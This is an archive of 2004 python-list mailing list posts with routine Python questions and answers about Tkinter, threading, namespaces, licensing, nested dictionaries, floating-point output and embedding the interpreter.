aahz at pythoncraft.com (Aahz) wrote in message:
> 
> You're mostly worrying about nothing; your analysis is essentially
> correct.
> 

Thanks a lot, everybody, for the replies. I will proceed on the
assumption that I do not need to worry about this.

I have to change a lot of things in my app if I switch from lists to
attributes, and I was nervous of doing all the changes and then
finding that I had a problem. I am now reasonably confident that I
will not have a problem, and the code should be cleaner and faster
when I have finished, so I will get stuck in.

Thanks again

Frank


From mauricio.inforcati at cenpra.gov.br  Wed Feb 11 13:26:08 2004
From: mauricio.inforcati at cenpra.gov.br (=?iso-8859-1?Q?Mauricio_Infor=E7ati?=)
Date: Wed, 11 Feb 2004 15:26:08 -0300
Subject: Mouse Cursors on Tkinter
Message-ID: <002b01c3f0cc$86954530$447290c8@luz>

Hi,
How can I change my mouse cursor to an own file.cur cursor?
I tried setting "cursor" option to the file(widget['cursor']='file.cur'), to a pointer of this file (@widget['cursor']='file.cur'), to a Image instance of this cursor and none of this options worked.
What can I do?
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From aahz at pythoncraft.com  Fri Feb 13 19:21:29 2004
From: aahz at pythoncraft.com (Aahz)
Date: 13 Feb 2004 19:21:29 -0500
Subject: help! multi-threading problem on hyperthreading smp linux
	server
References: <c0c6u5$8bd$1@panix2.panix.com>
	<2004021110421076514154@k2.sage.att.com>
Message-ID: <c0jpm9$1cf$1@panix3.panix.com>

In article <2004021110421076514154 at k2.sage.att.com>,
Garry Hodgson  <garry at research.att.com> wrote:
>aahz at pythoncraft.com (Aahz) wrote:
>>
>> What happens if you only start ten threads (fifty
>> threads isn't huge, but it's definitely large)?
>
>same thing.  works fine for 1 thread :-).
>
>> Have you applied all relevant OS patches and/or tried upgrading to a
>> newer kernel?
>
>it's looking like this may be the problem, since the machine it fails on
>is running the oldest linux kernel of all of them.  all are 2.4.20's, but 
>with different minor release numbers.

Those two combined make me agree.

>> Can you test the production system (or an equivalent) with
>> Windows?  
>
>nope.  we do have another machine that's identical hardware, 
>though with slightly newer kernel patches.  we intend to test
>on that tomorrow, during a maintenance window (that's a 
>production machine).

One thing I learned during my threading problems, five years ago:
*always* have a QA machine with the same specs as the production machine.
Among other things, I found a bug with MS SQL Server that only showed up
on SMP machines.  :-(
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach


From sjf at autograf.pl  Tue Feb 10 06:29:39 2004
From: sjf at autograf.pl (..:: sjf ::..)
Date: Tue, 10 Feb 2004 12:29:39 +0100
Subject: many number of pythonw.exe process
Message-ID: <c0afbp$hrp$1@atlantis.news.tpi.pl>

Hi,

When I'm running IDLE (on Windows) a great number of pythonw.exe process
exists in the Task Manager. What is to cause it?


--
..:: sjf ::..
"Linux is like Wigwam. No gates, no windows... Apache inside ;-)"



From mrskatiebeach at hotmail.com  Thu Feb 19 11:30:32 2004
From: mrskatiebeach at hotmail.com (Katie Beach)
Date: Thu, 19 Feb 2004 10:30:32 -0600
Subject: Listbox and Hashtable troubles
Message-ID: <Sea2-F365eM2WD7CjOv0003f5f1@hotmail.com>

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From bob at redivi.com  Sun Feb 29 14:07:38 2004
From: bob at redivi.com (Bob Ippolito)
Date: Sun, 29 Feb 2004 14:07:38 -0500
Subject: Confused about hasattr/getattr/namespaces
References: <509534af.0402291048.1d681a3f@posting.google.com>
Message-ID: <2004022914073850878%bob@redivicom>

On 2004-02-29 13:48:21 -0500, brian at mirror.org (Brian Roberts) said:

> I'm confused about the use of hasattr/getattr, or possibly
> namespaces.  I know how to do this:
> 
> class UnderstandThis(object):
>     def do_foo(self): pass
>     def do_bar(self): pass
>     def doit(self, cmd):
>         funcname = 'do_' + cmd
>         if hasattr(self, funcname):
>             getattr(self, funcname)()
>         else:
>             print 'not found'
> 
> But if I try to do this with classes in a module (instead of
> functions in a class):
> 
> class FooGenerator(object): ...
> class BarGenerator(object): ...
> 
> def generate(cmd):
>     clsname = cmd + 'Generator'
>     if hasattr(???, clsname):
>         etc...
> 
> I don't know what to use for ??? instead of self.  If I print
> globals() inside generate() it shows the two classes, but using
> it in the hasattr line doesn't work -- huh?  I can make it work
> by wrapping the generate function in a (otherwise useless) class
> and using self -- again, huh?
> 
> Couldn't find an explanation or example in the docs.  In fact,
> the description of vars/globals/locals (in section 2.1) just
> confused me even more.  Think I'm heading down the wrong path.
> Can somebody please un-confuse me?

if you have the module object, you can use that.. or you could use 
sys.modules[__name__] to get the current module (import sys, of course).

globals(), locals() are dictionaries, so you would have to do "clsobj = 
globals().get(clsname)" or something like that.  You *probably* want 
something more explicit than that though.. it probably wouldn't be too 
much work to keep your own command->class dictionary.

-bob



From rmunn at pobox.com  Fri Feb 20 13:47:54 2004
From: rmunn at pobox.com (Robin Munn)
Date: Fri, 20 Feb 2004 18:47:54 GMT
Subject: How do make a function that creates a sequence of
	nrandomnumbers?
References: <mailman.38.1077148009.27104.python-list@python.org>
	<403425F1.28A2E1F7@engcorp.com>
	<2h6Zb.11279$PY.7045@newssvr26.news.prodigy.com>
	<40350A91.34489D65@engcorp.com>
Message-ID: <uDsZb.12056$PY.6670@newssvr26.news.prodigy.com>

Peter Hansen <peter at engcorp.com> wrote:
> Robin Munn wrote:
>> 
>> Peter Hansen <peter at engcorp.com> wrote:
>> > Tony Meyer wrote:
>> >>
>> >> > > Thanks, everyone. Also, I'd really like to know how to remove the
>> >> > > lowest number from the sequence.
>> >> > Now this really sounds like homework.
>> >>
>> >> OT, but if you were a teacher assigning homework like this, wouldn't you
>> >> read c.l.p to see which of your students asked the homework questions?  (Or
>> >> at the least, google through the list when the homework is handed in?)
>> >
>> > Given that most people, and almost always those posting questions about
>> > homework or how-to-write-spamsoft, either use fake email addresses, or
>> > hide behind cute "handles" and generic web-mail accounts, there's little chance
>> > that a professor will actually be able to match the request with an
>> > actual student, I would think.
>> 
>> Oh, I can think of one way: make another fake E-mail address (or a rea
>> but pseudonymous Hotmail account) and answer the student's request on
>> Usenet, giving a full and complete solution that happens to be
>> deliberately wrong. Then see if the student even bothers to test the
>> answer they copy and paste.
>
> Oh, nasty. :-)  Unfortunately slipping that past some of the people in
> this newsgroup would be very difficult.  Maybe a direct email would be
> better...  and maybe it's already been happening and we just don't know it.

The other solution I thought of was to put comments in that have a
deliberate spelling mistake. That would be less likely to get corrected
by the Python experts in here, but OTOH, it would also be hard to prove
that the student didn't happen to make the same spelling mistake...

Anyone remember which Tom Clancy book it was where Jack Ryan uses a
technique like this to figure out who's been leaking classified
documents to the press? They put together a document that looks like
juicy government gossip, with a couple paragraphs that are just too good
not to quote. Each copy of the document has a slightly different wording
in those juciy paragraphs. Then they keep track of who got which copy,
and watch the newspapers to see the wording of the quotes on the
front-page story. IIRC, Clancy called this the "smoking typewriter"
method.

-- 
Robin Munn
rmunn at pobox.com


From http  Mon Feb  9 15:25:51 2004
From: http (Paul Rubin)
Date: 09 Feb 2004 12:25:51 -0800
Subject: [ANN]PyCrash 0.2 released
References: <74f314add5546414f9cb3271a23f6937.46955@mygate.mailgate.org>
	<CnwUb.121111$cM1.22432482@twister.nyc.rr.com>
	<a3c54444d6b1263db29c35ccb758dc40.46955@mygate.mailgate.org>
	<4027E7DF.6CBFC09D@engcorp.com>
Message-ID: <7xekt4yp80.fsf@ruckus.brouhaha.com>

Peter Hansen <peter at engcorp.com> writes:
> > I have chosen the GPL without any special reason: I know it and so I
> > simply used it. I?m not a license expert: I write code, no contracts.
> > However, my major intent is to contribute to python community with this
> > tool: so, if the type of licence can be a problem for the end-user I?m
> > ready to change it in the future.
> 
> The page at http://www.opensource.org/licenses/ can rapidly propel you
> towards a better understanding of license issues.  

You might also look at:

   http://www.gnu.org/licenses/licenses.html

the section "What is Copyleft?" explains a bit of the GPL rationale.

> In any case, I recommend the MIT license (on that page) as the simplest
> way to "contribute to the python community" if you have no particular 
> desire to constrain the use of your code in any way (including, for example,
> requiring things like "proper credit be given in the documentation" etc).

Well, public domain is simpler, but "simplest" doesn't necessarily
mean "best".  The GPL aims to make sure that everyone receives all the
benefits of any improvements that anyone makes, and also to guarantee
that end users have the freedom to study and modify the code that they
run.  The MIT license (etc.) is of somewhat more benefit to product
vendors, since it lets them freely use your code in proprietary
products without having to pass that freedom on to their users.  I.e.
you get to be an unpaid developer for someone else's proprietary product.

My own approach has been that I GPL stuff that I write with my own
resources, but I'm flexible about licenses if I'm getting paid for the
work.  That's the spirit of the MIT license too, since it was
negotiated with corporate sponsors of the MIT projects it was
originally applied to, i.e. the programmers who worked on those
projects were writing code that ended up in those companies' products,
but they were also getting paid by those companies, so it was fair.
(I worked at the MIT Athena project for a while so I got some of that
money myself).  There's been a few times when someone has asked me to
use an MIT-like license on a self-financed project and I've replied
I'd consider if it the requester was willing to provide development
funding.  Nobody has taken me up on that so far.  It kind of makes you
wonder.


From mas at semafor.ch  Mon Feb  9 02:45:51 2004
From: mas at semafor.ch (Sorin Marti)
Date: 8 Feb 2004 23:45:51 -0800
Subject: Replace Pattern
Message-ID: <6f878011.0402082345.69d74d13@posting.google.com>

Hello all,

I am quite new to python and want to do the following:

- open a file (done)
- read each line (done)
- search a pattern in the file and replace it
- write the new file

I want to replace the date. example: 
INSERT INTO organization VALUES ('Brussels','Brabant','23 10 1954');

should be:
INSERT INTO organization VALUES ('Brussels','Brabant','1954-10-24');

What i've done:

import os,sys
try:
        fi = open('test.sql', 'r')
        while fi.readline():
            line = fi.readline();
        
except IOError:
        print 'Can\'t open file for reading.'
        sys.exit(0)

Thanks for any help.


From newspost at lolmc.com  Sun Feb  8 12:08:17 2004
From: newspost at lolmc.com (Lol McBride)
Date: Sun, 08 Feb 2004 17:08:17 +0000
Subject: string to integer problem
References: <pan.2004.02.08.16.29.02.415446@lolmc.com>
Message-ID: <pan.2004.02.08.17.08.14.675370@lolmc.com>

On Sun, 08 Feb 2004 16:29:14 +0000, Lol McBride wrote:

> Hi all,
> I'm currently having problems with data returned from a MySQL database in
> as much as the data returned is of the form '(1,10,23,33,35,48)' i.e. a
> list variable holding 6 integers returned as a string. 
> I can't seem to get around how to return the data to it's original format
> i.e. the list with 6 integers - I have tried slicing the string and
> converting the charachters individually but then I run into trouble when I
> have integers over two digits wide as I can't combine the two separate
> digits back into the original number.
> I feel sure that someone has come across this before and I hope that my
> request for help on this will be answered.
> Thanks ,
> Lol McBride
Thank you for your replies - your help is very much appreciated.


From Scott.Daniels at Acm.Org  Sat Feb 21 13:31:03 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Sat, 21 Feb 2004 10:31:03 -0800
Subject: Complex Nested Dictionaries
In-Reply-To: <4036a303@news.bmi.net>
References: <40354c35@news.bmi.net> <c15mko$c2g$1@nntp6.u.washington.edu>
	<4036a303@news.bmi.net>
Message-ID: <4037acf2$1@nntp0.pdx.net>

T. Earle wrote:
> Russell,
> 
> 
>>If you really only want to look up data by headline, then a dictionary
>>of dictionaries or nested lists or some other kind of collection is easy
>>and should suffice. For instance:
>>warndict["High Wind Warning"] = (
>>    (time1, {
>>        state1: (zone1, zone2, zone3),
>>        state2: (zone1, zone3),
>>    }),
>>    (time2, {...}),
>>)
> This definitely seems to be the structure I've been looking for or at least
> have in mind.  Since I'm no expert, could offer some code examples on how to
> create this structure on the fly?
For something very much (but not quite) like the above:

warndict['High Wind Warning'] = {
     time1: {
         state1: [zone1, zone2, zone3],
         state2: [zone1, zone3]},
     time2: {...},
     ...}

can be built with something like:
warndict = {}
for headline, time, state, zone in somesource:
     timedict = warndict.setdefault(headline, {})
     statedict = timedict.setdefault(time, {})
     stateentry = statedict.setdefault(state, [])
     stateentry.append(zone)


> My first inclination was to go with a database; however, I thought about it
> and concluded there may be too much variability each time the program is
> executed.  For example, there will be times when there are no headlines;
> other times, there will be numerous headlines.  Because of this variability,
> the database would have to be created from scratch each time the program is
> ran.  As a result, would a database still be the right choice?
It really depends on the volume of data and the kinds of searches.
Anything under a thousand or so entries will be searchable by simple
brute force in reasonable time, so internal data structures may well
be the way to go.

-- 
-Scott David Daniels
Scott.Daniels at Acm.Org


From tnospamwade at bmi.net  Fri Feb 20 19:16:02 2004
From: tnospamwade at bmi.net (T. Earle)
Date: Fri, 20 Feb 2004 16:16:02 -0800
Subject: Complex Nested Dictionaries
References: <40354c35@news.bmi.net> <c15mko$c2g$1@nntp6.u.washington.edu>
Message-ID: <4036a303@news.bmi.net>

Russell,

> If you really only want to look up data by headline, then a dictionary
> of dictionaries or nested lists or some other kind of collection is easy
> and should suffice. For instance:
> warndict["High Wind Warning"] = (
>     (time1, {
>         state1: (zone1, zone2, zone3),
>         state2: (zone1, zone3),
>     }),
>     (time2, {...}),
> )

This definitely seems to be the structure I've been looking for or at least
have in mind.  Since I'm no expert, could offer some code examples on how to
create this structure on the fly?

> However, I suspect you will also want to be able to locate data by
> state, time or zone. If that is true, I really think you should consider
> storing the data in a relational database. It sounds like a perfect
> match to your problem. Python has some nice interfaces to various
> databases (including PostgreSQL and MySQL).

My first inclination was to go with a database; however, I thought about it
and concluded there may be too much variability each time the program is
executed.  For example, there will be times when there are no headlines;
other times, there will be numerous headlines.  Because of this variability,
the database would have to be created from scratch each time the program is
ran.  As a result, would a database still be the right choice?

I really appreciate your help and suggestions

T. Earle




From max at alcyone.com  Wed Feb 18 01:47:49 2004
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 17 Feb 2004 22:47:49 -0800
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com>
Message-ID: <40330A95.DF809EAA@alcyone.com>

Erik Max Francis wrote:

> Paul Rubin wrote:
> 
> > I'm still scratching my head over that PEP.  Got a real-world code
> > sample
> > that it would improve?
> 
>         do:
>             line = inputFile.readline()
>         while line:
>             ...
>             line = inputFile.readline()

Man, what a perfect gaffe on my part.  The purpose of the do...while
construct is to _eliminate_ the duplication.  This should be:

	do:
	    line = inputFile.readline()
	while line:
	    ...

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && &tSftDotIotE
\__/ The doors of Heaven and Hell are adjacent and identical.
    -- Nikos Kazantzakis


From PPNTWIMBXFFC at spammotel.com  Wed Feb 25 04:58:14 2004
From: PPNTWIMBXFFC at spammotel.com (Marco Aschwanden)
Date: 25 Feb 2004 01:58:14 -0800
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>
	<103n7q6278bj4be@news.supernews.com>
Message-ID: <15c2d03b.0402250158.77de365f@posting.google.com>

> > *** Problem: tuples are not necessary
> 
> Frankly, there is very little in any programming language that is
> necessary. Back when I brushed up against computability theory,
> I found that all programs can be written in a language with one operation:
> a combination of subtract and conditional branch. That's hardly
> practical, though. The question is whether a feature serves a useful
> purpose.

I once read an interesting article that a programming language can be
reduced to 4 instructions: (1) input (2) output (3) if-then (4) goto.
All other commands / functions are built upon those 4 "basic ideas".

I would say: Python struggles for a maximum functionalty by preserving
optimal "simplicity". And it does a good job at that! That's why I
like it so much.

I am not a reductionist. And I am not asking to create a reduced
Python. I had just the feeling that to learn about all specialities of
tuples is not worth the hassle... obviously I was wrong and you bring
some more aspects in favour tuples further down below:

> Tuples serve two distinct purposes. One is as a cheap version
> of a C struct: that is, a data structure in which each element
> serves a conceptually different purpose.
> 
> The other is as a structure that is immutable so it can be used
> as a key in a dict.
> 
> One thing to understand about this is that immutability is key:
> dicts depend on having a hash key that is somehow derived
> from the content of the object, and if the content of a key
> changes that key will probably simply be unlocatable: it will be
> filed in the dict under the old rather than the new hash code.

Cheers,
Marco


From wweston at att.net  Thu Feb 19 12:58:29 2004
From: wweston at att.net (wes weston)
Date: Thu, 19 Feb 2004 17:58:29 GMT
Subject: Listbox and Hashtable troubles
In-Reply-To: <mailman.71.1077208238.27104.python-list@python.org>
References: <mailman.71.1077208238.27104.python-list@python.org>
Message-ID: <9P6Zb.51727$hR.1151450@bgtnsc05-news.ops.worldnet.att.net>

Katie,
    See 
http://www.pythonware.com/library/tkinter/introduction/x5453-patterns.htm


"You can also use a listbox to represent arbitrary Python objects. In 
the next example, we assume that the input data is represented as a list 
of tuples, where the first item in each tuple is the string to display 
in the list. For example, you could display a dictionary by using the 
items method to get such a list.

     self.lb.delete(0, END) # clear
     for key, value in data:
         self.lb.insert(END, key)
     self.data = data

When querying the list, simply fetch the items indexed by the selection 
list:

     items = self.lb.curselection()
     try:
         items = map(string.atoi, items)
     except ValueError: pass
     items = map(lambda i,d=self.data: d[i], items)"




Katie Beach wrote:
> I have a listbox in which I would like to be able to display a value of 
> a hash, but when the user selects an element in the list, I need to be 
> able to use the KEY associated with the value chosen for editing... I 
> don't see an easy way to do this except to create a lookup array that 
> contains an index and a KEY - the index will then be associated with the 
> VALUE in listbox... this seems like a pretty messy way to do this, so 
> I'd like to avoid it if I could. Has anyone else needed something 
> similar, and if so, what was their solution to the problem!!
> 
> 
> Many Thanks,
> Katie
> 
> 
> ------------------------------------------------------------------------
> Click, drag and drop. My MSN is the simple way to design your homepage. 
> <http://g.msn.com/8HMAENUS/2734??PS=>



From ml71 at katamail.com  Wed Feb 18 15:43:20 2004
From: ml71 at katamail.com (DrPike)
Date: 18 Feb 2004 12:43:20 -0800
Subject: ANTI SPAMBOT HUMAN VALIDATION: generare gif da una stringa
	casuale ??
References: <2ca51434.0402171108.1cdbecb6@posting.google.com>
	<7x7jykkcoq.fsf@ruckus.brouhaha.com>
Message-ID: <2ca51434.0402181243.514dcee9@posting.google.com>

> www.captcha.net

Thanks for this information despite the fact I posted in Italian ;-))

DrP


From piet at cs.uu.nl  Mon Feb 16 05:28:48 2004
From: piet at cs.uu.nl (Piet van Oostrum)
Date: 16 Feb 2004 11:28:48 +0100
Subject: Simple addition
References: <LWPXb.58968$n62.56888@twister.nyroc.rr.com>
	<4AQXb.25652$646.5355@newssvr25.news.prodigy.com>
Message-ID: <wzisi7b9nj.fsf@cs.uu.nl>

>>>>> Brian <pythonista_at_sbcglobal_dot_net at invalid.net> (B) wrote:

>>>> print str(0.1)
B> 0.1

B> It's important to realize that this is, in a real sense, an illusion: the
B> value in the machine is not exactly 1/10, you're simply rounding the
B> display of the true machine value."

On the other hand, python could have done better. There are algorithms to
print floating point numbers properly with a more pleasant output[1]:
in this particular case python could have given "0.1" also with "print 0.1".
Unfortunately most C libraries only use the stupid algorithm which often
gives some useless digits.

This is because ideally it should print the representation with the least
number of digits that when read back gives the same internal value as the
number printed. In this case that is obviously "0.1".

[1] Guy L. Steele, Jr. Jon L. White, How to print floating-point numbers
accurately, Proceedings of the ACM SIGPLAN 1990 conference on Programming
language design and implementation,  Pages: 112 - 126.
-- 
Piet van Oostrum <piet at cs.uu.nl>
URL: http://www.cs.uu.nl/~piet [PGP]
Private email: P.van.Oostrum at hccnet.nl


From gerrit at nl.linux.org  Thu Feb  5 13:37:35 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Thu, 5 Feb 2004 19:37:35 +0100
Subject: hide sourcecode
In-Reply-To: <bvtpsp$126$1@news.service.uci.edu>
References: <bvtm5f$pgq$00$1@news.t-online.com>
	<bvtpsp$126$1@news.service.uci.edu>
Message-ID: <20040205183735.GB5364@nl.linux.org>

Josiah Carlson wrote:
> >Hi, is it possible to protect the python sourcecode?
> >I have a nice little script and i dont want to show everbody the source.
> >
> >Im using python on a windows pc.
> 
> Compile the .py file into bytecode (.pyc).  That .pyc file will only be 
> usable on platforms with the same x.y version of Python as you.
> 
> Remember that .pyc files suffer from the same decompilation 
> vulnerabilities as any other programming language (which is why there 
> exists software cracks).  If someone wants to know what you are doing, 
> they will.

I don't know about Windows, but on Unix you can create a script with
permissions 700 and create a small setuid program executing this script.

Don't know whether Windows has such useful things though, probably not :-P

Gerrit.

-- 
PrePEP: Builtin path type
    http://people.nl.linux.org/~gerrit/creaties/path/pep-xxxx.html
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From kevin at albrecht.net  Wed Feb 18 14:08:35 2004
From: kevin at albrecht.net (Kevin Albrecht)
Date: Wed, 18 Feb 2004 19:08:35 GMT
Subject: Python Virtual Machine Reference
Message-ID: <TKOYb.2538$Po1.1716@twister.tampabay.rr.com>

Fellow Pythonites,

I am trying to find a reference on the design and structure
of the Python Virtual Machine, but I can't seem to find one
anywhere.  In particular, I am looking for a list of all the
instructions in the Python VM's "assembly language".

Thanks in advance,
Kevin Albrecht




From brian at sweetapp.com  Thu Feb 12 13:32:50 2004
From: brian at sweetapp.com (Brian Quinlan)
Date: Thu, 12 Feb 2004 10:32:50 -0800
Subject: Allowing non-ASCII identifiers
In-Reply-To: <402B51A2.8090009@prescod.net>
Message-ID: <016401c3f196$9ed31d50$0000fea9@dell8200>

> This is an overstatement. One of the great things about Python is that
> it borrows from other langauges. VB and C# for sure and I think Java
> allow non-ASCII identifiers and there was no catastrophe. VB has its
> problems but Unicode identifiers is not a big one.

I think that Python should borrow the C# identifier syntax verbatim. That
way we can have code that looks like this:

class @class:
    def @def(@def):
        pass

cl\u0061ss.d\u0065f(true)

Cheers,
Brian




From jepler at unpythonic.net  Wed Feb 11 13:40:21 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Wed, 11 Feb 2004 12:40:21 -0600
Subject: Mouse Cursors on Tkinter
In-Reply-To: <002b01c3f0cc$86954530$447290c8@luz>
References: <002b01c3f0cc$86954530$447290c8@luz>
Message-ID: <20040211184020.GD4355@unpythonic.net>

Here is a small program that works on my system (linux/X11)to change
the cursor of a Tkinter window:
    import Tkinter

    t = Tkinter.Tk()
    t.configure(cursor=("@/usr/X11R6/include/X11/bitmaps/star",
        "/usr/X11R6/include/X11/bitmaps/starMask", "white", "black"))
    t.mainloop()

As noted in the tk8.3 Tk_GetCursor manpage, this "will not work on
Windows or Macintosh computers".

Jeff



From bart_nessux at hotmail.com  Thu Feb 19 08:39:12 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Thu, 19 Feb 2004 08:39:12 -0500
Subject: os.popen
Message-ID: <c12ea1$ivs$1@solaris.cc.vt.edu>

When using os.popen, at what point is the process actually started? Take 
the example below... would the first or second line actually execute the 
command? If it's the first line, then why would I want to use the second 
line at all unless I wanted to see on the console what happened?

ping = os.popen('sh ./ping.sh')
ping.read()
ping.close()



From opengeometry at yahoo.ca  Tue Feb  3 01:48:29 2004
From: opengeometry at yahoo.ca (William Park)
Date: 3 Feb 2004 06:48:29 GMT
Subject: embedding  python
References: <mailman.1130.1075732106.12720.python-list@python.org>
Message-ID: <bvng7s$uljga$1@ID-99293.news.uni-berlin.de>

Anand K Rayudu <anand at easi.soft.net> wrote:
> Hi All,
> 
> I have one problem with embedding python into my application.
> on HP-UX11 i created my application with linking libPython2.3.a
> And with my product i supply all extension dlls [ .so] and with  
> appropriate PYTHONHOME and PYTHONPATH set.
> 
> Every thing is fine till  i import math,
> When i import math [ For all extension modules ]
>  I get following error.
>     import math
> ImportError: dynamic module does not define init function (initmath)
> 
> But if i run python in shell it works fine,
> I am sure it is some thing to do with my application linking or some 
> thing like that.
> Could some one please suggest, how to solve  this problem.
> 
> It works fine on all other platforms.
> I call python using 'PyRunSimpleFile' Function.
> 
> Thanks in advance.
> 
> Anand

Did you compile with '-lm' ?
Eg:
    http://home.eol.ca/~parkw/index.html

-- 
William Park, Open Geometry Consulting, <opengeometry at yahoo.ca>
Linux solution for data management and processing. 


From rune at zedeler.dk  Wed Feb  4 10:33:12 2004
From: rune at zedeler.dk (rune at zedeler.dk)
Date: Wed, 4 Feb 2004 13:33:12 -0200
Subject: STATUS
Message-ID: <200402041533.i14FXCn7088376@mxzilla4.xs4all.nl>

The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment.

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From gerrit at nl.linux.org  Thu Feb  5 13:34:18 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Thu, 5 Feb 2004 19:34:18 +0100
Subject: Python can't divide??!?!
In-Reply-To: <LNBBLJKPBEHFEDALKOLCMEFCIMAB.tim.one@comcast.net>
References: <E1AonZY-0003kM-Tv.2004-02-05-17-45-53@tmailb1.svr.pol.co.uk>
	<LNBBLJKPBEHFEDALKOLCMEFCIMAB.tim.one@comcast.net>
Message-ID: <20040205183418.GA5364@nl.linux.org>

Tim Peters wrote:
> [Dan Williams, surprised by float division]
> 
> It's what your hardware does; Python doesn't try to hide it from you; more
> here (this is Appendix B in the Python Tutorial that came with Python):
> 
>     http://www.python.org/doc/current/tut/node15.html

I think what confuses people is that the simple reprentation in the
interactive shell calls repr(), not str(). If it would, like Ruby, it
would be even more confusing:

19:22:38:0:gerrit at optiplex:~$ irb
irb(main):003:0> v=0.1+0.1+0.1+0.1+0.1+0.1+0.1+0.1+0.1+0.1
=> 1
irb(main):004:0> v
=> 1
irb(main):005:0> v==1
=> false

Gerrit (not a Rubyist, so I don't know if it's possible to get the 'true' internal value).

-- 
PrePEP: Builtin path type
    http://people.nl.linux.org/~gerrit/creaties/path/pep-xxxx.html
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From getwellness4u at yahoo.ca  Wed Feb  4 00:20:49 2004
From: getwellness4u at yahoo.ca (getwellness4u at yahoo.ca)
Date: Wed, 04 Feb 2004 05:20:49 GMT
Subject: How your company think about python?
References: <20020818190150.09802b6e.d2002xx@myrealbox.com>
	<b6562547.0208190632.6fe24f8f@posting.google.com>
Message-ID: <3d6122dd.1993601@news.bcsupernet.com>

What apparent death of Tcl ?

What limitations of Tk for crossplatform death ?

js

On 19 Aug 2002 07:32:22 -0700, tim at lesher.ws (Tim Lesher) wrote:

>d2002xx <d2002xx at myrealbox.com> wrote in message news:<20020818190150.09802b6e.d2002xx at myrealbox.com>...
>> Would you tell me how your company (or your boss, colleagues) think
>> about python? A possible next-generation mainstream? Or just another
>> script? Or they even never heard it?
>
>The short answer is "A replacement for Tcl".  
>
>We currently use Tcl as the UI for a crossplatform applications; given
>the apparent death of Tcl and the limitations of Tk for good
>crossplatform UI work, we're switching to Python/wxPython.
>
>-- 
>Tim Lesher
>tim at lesher.ws

// signature ------------------------------------
Take the xxx out of my email address.

"Some will believe and rightly so, that there are other 
forms of riches more desireable than money. Yes, there
are riches which can not be measured in terms of
dollars, but there are millions of people who will
say, 'Give me all the money I need, and I will find
everything else I want.' " 
Napoleon Hill
See http://www.lifeforce-intl.com/134808 

Improve your life, health and wealth awaits for you.
// ---------------------------------------------------


From cygnus at cprogrammer.org  Thu Feb  5 21:34:54 2004
From: cygnus at cprogrammer.org (Jonathan Daugherty)
Date: Thu, 5 Feb 2004 21:34:54 -0500
Subject: Newbie question on tuples
In-Reply-To: <3ECUb.226676$I06.2497383@attbi_s01>
References: <b4a8ffb6.0402051309.4292ccf1@posting.google.com>
	<16418.45791.669094.323512@montanaro.dyndns.org>
	<mailman.1271.1076019007.12720.python-list@python.org>
	<3ECUb.226676$I06.2497383@attbi_s01>
Message-ID: <20040206023454.GB23924@mail.theserver.ath.cx>

# Huh?
# 
# >>> ("rock", "scissors", "paper").index("rock")
# Traceback (most recent call last):
#   File "<interactive input>", line 1, in ?
# AttributeError: 'tuple' object has no attribute 'index'
# >>>

I thought he meant [].

-- 

  Jonathan Daugherty
  http://www.cprogrammer.org

  "It's a book about a Spanish guy called Manual, you should read it."
                                                            -- Dilbert



From llothar at web.de  Sun Feb  8 05:19:40 2004
From: llothar at web.de (Lothar Scholz)
Date: 8 Feb 2004 02:19:40 -0800
Subject: where does Python stand?
References: <d99e1341.0402050505.226a01c8@posting.google.com>
	<6ee58e07.0402051148.25add90e@posting.google.com>
	<d99e1341.0402051930.57985621@posting.google.com>
	<ae244d5bc6071d6fa5203428a7f62c01@news.teranews.com>
Message-ID: <6ee58e07.0402080219.6378c502@posting.google.com>

Dang Griffith <noemail at noemail4u.com> wrote in message news:<ae244d5bc6071d6fa5203428a7f62c01 at news.teranews.com>...

> I only spearminted with PHP for a little while, and am no expert.  
> But as I said, based on your requirements, I think it fits the bill.

I second that.

There are also a lot of good cheap books about PHP out there so he
don't need to buy "some" books. Python really seems to be a little bit
overkill for someone who never did programming before.


From tismer at stackless.com  Thu Feb 19 10:10:38 2004
From: tismer at stackless.com (Christian Tismer)
Date: Thu, 19 Feb 2004 16:10:38 +0100
Subject: Nokia prefers Python
In-Reply-To: <Pine.LNX.4.50.0401221459220.3123-100000@hedgehog>
References: <Pine.LNX.4.50.0401221459220.3123-100000@hedgehog>
Message-ID: <4034D1EE.5040900@stackless.com>

Stephan Deibel wrote:

> On Thu, 22 Jan 2004, Peter Hansen wrote:
> 
>>Stephan Deibel wrote:
>>
>>>Anyone happen to have a contact at Nokia that might be willing and able
>>>to write up a Python Success Story based on this?  Or know of someone
>>>else that might?
>>>
>>>http://pythonology.org/success
>>
>>Maybe it's a bit soon to call it a "success"?  It sounds like it's just
>>in evaluation at this stage...
> 
> 
> Yes, probably correct.  I'm mainly trying to make contact... the actual
> process of writing a story and getting it approved by the company involved
> can take a long time.

I would like to push it a bit further and to convince
Nokia to adopt Stackless Python, because that would
give them light-weight threading and program persistence.

Does anybody know whom to contact? If they have Python
developers, I guess some of them should be found on this
list.

cheers - chris

-- 
Christian Tismer             :^)   <mailto:tismer at stackless.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  mobile +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/



From mwh at python.net  Thu Feb 19 06:37:11 2004
